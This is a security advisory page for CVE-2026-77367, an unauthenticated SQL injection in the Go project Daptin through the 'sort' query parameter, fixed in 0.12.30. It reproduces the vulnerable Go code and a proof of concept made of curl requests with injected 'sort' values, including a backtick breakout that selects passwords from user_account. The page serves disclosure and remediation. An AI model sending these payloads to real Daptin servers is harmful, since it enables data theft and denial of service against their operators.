CVE-2026-77367: Daptin SQL Injection Vulnerability

CRITICAL
Advisory Identifier: GHSA-hq2p-f2vj-v3cm
CVSS 9.4
CWE-89 CWE-20
Published
Advisory Summary

CVE-2026-77367 is a CRITICAL (CVSS 9.4) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Daptin libraries in the Go ecosystem. The issue involves unauthenticated sql injection via the `sort` query parameter on every entity list endpoint. Remediation is available by upgrading affected packages to version 0.12.30.

CVE-2026-77367 at a Glance

CVE Identifier CVE-2026-77367
GHSA Identifier GHSA-hq2p-f2vj-v3cm
Severity CRITICAL
CVSS v3.1 Base Score 9.4
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Daptin
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2026-77367

To remediate this vulnerability, upgrade all affected Daptin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/daptin/daptin fixed: 0.12.30
Upgrade github.com/daptin/daptin to 0.12.30
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/daptin/daptin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-77367, inspect your project dependencies for Daptin:

inspect dependencies for github.com/daptin/daptin

Analyze the terminal output to locate any version of Daptin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.12.30), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Daptin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated attacker can inject arbitrary SQL through the `sort` query parameter accepted by Daptin's generic entity list endpoint (`GET /api/<entity>`), which every table in a Daptin instance exposes. The parameter is concatenated into raw SQL identifiers with no validation that the referenced column exists, unlike a sibling code path in the same file that received exactly this validation as the fix for a previously published advisory ([GHSA-rw2c-8rfq-gwfv](https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv)). Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to blind/error-based extraction of data from tables the requester has no permission to read. ### Details `PaginatedFindAllWithoutFilters` in `server/resource/resource_findallpaginated.go` reads the `sort` query parameter directly from the request with no validation: ```go // server/resource/resource_findallpaginated.go:300-302 var sortOrder []string if len(req.QueryParams["sort"]) > 0 { sortOrder = req.QueryParams["sort"] ``` Each entry is then concatenated with the table name and passed to `goqu.I()` (goqu's raw SQL *identifier* constructor) in two separate places, with no check that the referenced column exists on the table: ```go // server/resource/resource_findallpaginated.go:435-449 (SELECT column list) for _, sort := range sortOrder { ... if strings.Index(sort, "(") == -1 { sort = prefix + sort } idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", "_"))) } ``` ```go // server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause) for _, so := range sortOrder { ... orders = append(orders, goqu.I(ord).Asc()) } ``` `goqu.I()` renders its argument by wrapping it in the dialect's quote character (a backtick, in this build's configured dialect) **without escaping an embedded quote character of the same kind**. A backtick supplied in `sort` closes the identifier early, and the remainder of the attacker string is parsed as raw SQL grammar rather than treated as inert column-name text. This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated `goqu.L()` calls in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines later in the same file, in the fuzzy-search code path: ```go // server/resource/resource_findallpaginated.go:1491-1505 // Validate each column against table schema (prevents SQL injection via goqu.L) tableInfo := dbResource.tableInfo var validColumns []string for _, col := range columns { if _, ok := tableInfo.GetColumnByName(col); ok { validColumns = append(validColumns, col) } else { log.Warnf(...) } } ``` The identical validation was never applied to the base `sort` parameter handling earlier in the same file. Unlike fuzzy search (which requires an explicit `filter` operator to reach), plain `sort` is processed on every list request to every entity, authenticated or not. ### PoC Build current HEAD and run it with a fresh SQLite database and no custom schema: ```bash go build -buildvcs=false -o daptin_bin . ./daptin_bin ``` No account needs to exist. `world` (and most default tables) are guest-readable, so all requests below are sent with **no `Authorization` header at all**: ```bash # 1) Reflection -- proves raw, unsanitized concatenation curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --' # => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]} # Server log shows the exact constructed query: # SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --` # FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10] # 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text curl -s -G "http://localhost:6336/api/user_account" \ --data-urlencode 'sort=id`,(select password from user_account limit 1)' # => {"errors":[{"status":"500","title":"near \"``\": syntax error"}]} # 3) Zero credentials, reliable across repeated attempts for i in 1 2 3; do curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \ --data-urlencode 'sort=`x' done # => 500 / 500 / 500 ```

CVE-2026-77367 Affected Daptin Versions

1 component(s)
Fixed Versions:
0.12.30
Product / Package Ecosystem Affected Versions Fixed Version
github.com/daptin/daptin
Go
< 0.12.30
0.12.30

References

Frequently Asked Questions

What is CVE-2026-77367?
CVE-2026-77367 is a security vulnerability in Daptin involving Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Daptin versions are affected?
Affected versions include releases prior to 0.12.30 across affected packages: github.com/daptin/daptin.
What version fixes CVE-2026-77367?
Upgrading to 0.12.30 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/daptin/daptin affected?
Yes, github.com/daptin/daptin is affected in releases prior to 0.12.30. Upgrade your dependency to 0.12.30 or later.
What is the CVSS score of CVE-2026-77367?
CVE-2026-77367 has a CVSS v3.1 base score of 9.4 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H.
What CWE is associated with CVE-2026-77367?
CVE-2026-77367 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Go dependencies for CVE-2026-77367?
Run the dependency tree command: 'inspect dependencies for github.com/daptin/daptin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hq2p-f2vj-v3cm",
  "modified" : "2026-11-20T00:13:19Z",
  "published" : "2026-11-20T00:13:19Z",
  "aliases" : [ "CVE-2026-77367" ],
  "summary" : "Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint",
  "details" : "### Summary\n\nAn unauthenticated attacker can inject arbitrary SQL through the `sort` query parameter accepted by\nDaptin's generic entity list endpoint (`GET /api/<entity>`), which every table in a Daptin instance\nexposes. The parameter is concatenated into raw SQL identifiers with no validation that the\nreferenced column exists, unlike a sibling code path in the same file that received exactly this\nvalidation as the fix for a previously published advisory\n([GHSA-rw2c-8rfq-gwfv](https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv)).\nImpact ranges from unauthenticated denial of service (a single crafted request 500s the query) to\nblind/error-based extraction of data from tables the requester has no permission to read.\n\n### Details\n\n`PaginatedFindAllWithoutFilters` in `server/resource/resource_findallpaginated.go` reads the `sort`\nquery parameter directly from the request with no validation:\n\n```go\n// server/resource/resource_findallpaginated.go:300-302\nvar sortOrder []string\nif len(req.QueryParams[\"sort\"]) > 0 {\n    sortOrder = req.QueryParams[\"sort\"]\n```\n\nEach entry is then concatenated with the table name and passed to `goqu.I()` (goqu's raw SQL\n*identifier* constructor) in two separate places, with no check that the referenced column exists\non the table:\n\n```go\n// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)\nfor _, sort := range sortOrder {\n    ...\n    if strings.Index(sort, \"(\") == -1 {\n        sort = prefix + sort\n    }\n    idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, \".\", \"_\")))\n}\n```\n\n```go\n// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)\nfor _, so := range sortOrder {\n    ...\n    orders = append(orders, goqu.I(ord).Asc())\n}\n```\n\n`goqu.I()` renders its argument by wrapping it in the dialect's quote character (a backtick, in\nthis build's configured dialect) **without escaping an embedded quote character of the same kind**.\nA backtick supplied in `sort` closes the identifier early, and the remainder of the attacker string\nis parsed as raw SQL grammar rather than treated as inert column-name text.\n\nThis is the same bug class as GHSA-rw2c-8rfq-gwfv (\"SQL injection via unvalidated `goqu.L()` calls\nin aggregate API\", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines\nlater in the same file, in the fuzzy-search code path:\n\n```go\n// server/resource/resource_findallpaginated.go:1491-1505\n// Validate each column against table schema (prevents SQL injection via goqu.L)\ntableInfo := dbResource.tableInfo\nvar validColumns []string\nfor _, col := range columns {\n    if _, ok := tableInfo.GetColumnByName(col); ok {\n        validColumns = append(validColumns, col)\n    } else {\n        log.Warnf(...)\n    }\n}\n```\n\nThe identical validation was never applied to the base `sort` parameter handling earlier in the\nsame file. Unlike fuzzy search (which requires an explicit `filter` operator to reach), plain `sort`\nis processed on every list request to every entity, authenticated or not.\n\n### PoC\n\nBuild current HEAD and run it with a fresh SQLite database and no custom schema:\n\n```bash\ngo build -buildvcs=false -o daptin_bin .\n./daptin_bin\n```\n\nNo account needs to exist. `world` (and most default tables) are guest-readable, so all requests\nbelow are sent with **no `Authorization` header at all**:\n\n```bash\n# 1) Reflection -- proves raw, unsanitized concatenation\ncurl -s -G \"http://localhost:6336/api/world\" --data-urlencode 'sort=email\" --'\n# => {\"errors\":[{\"status\":\"500\",\"title\":\"no such column: world.email\\\" --\"}]}\n\n# Server log shows the exact constructed query:\n# SELECT distinct(user_account.id), `user_account`.`email\" --` AS `user_account_email\" --`\n#   FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email\" --` ASC LIMIT ? == [10]\n\n# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text\ncurl -s -G \"http://localhost:6336/api/user_account\" \\\n    --data-urlencode 'sort=id`,(select password from user_account limit 1)'\n# => {\"errors\":[{\"status\":\"500\",\"title\":\"near \\\"``\\\": syntax error\"}]}\n\n# 3) Zero credentials, reliable across repeated attempts\nfor i in 1 2 3; do\n  curl -s -o /dev/null -w \"%{http_code}\\n\" -G \"http://localhost:6336/api/world\" \\\n      --data-urlencode 'sort=`x'\ndone\n# => 500 / 500 / 500\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/daptin/daptin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.12.30"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.12.29"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/daptin/daptin/security/advisories/GHSA-hq2p-f2vj-v3cm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77367"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/daptin/daptin/commit/b0bcc1318832b9055781f032853ef9d2264652cf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/daptin/daptin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/daptin/daptin/releases/tag/v0.12.30"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-89" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T00:13:19Z",
    "nvd_published_at" : "2026-11-19T17:18:59Z"
  }
}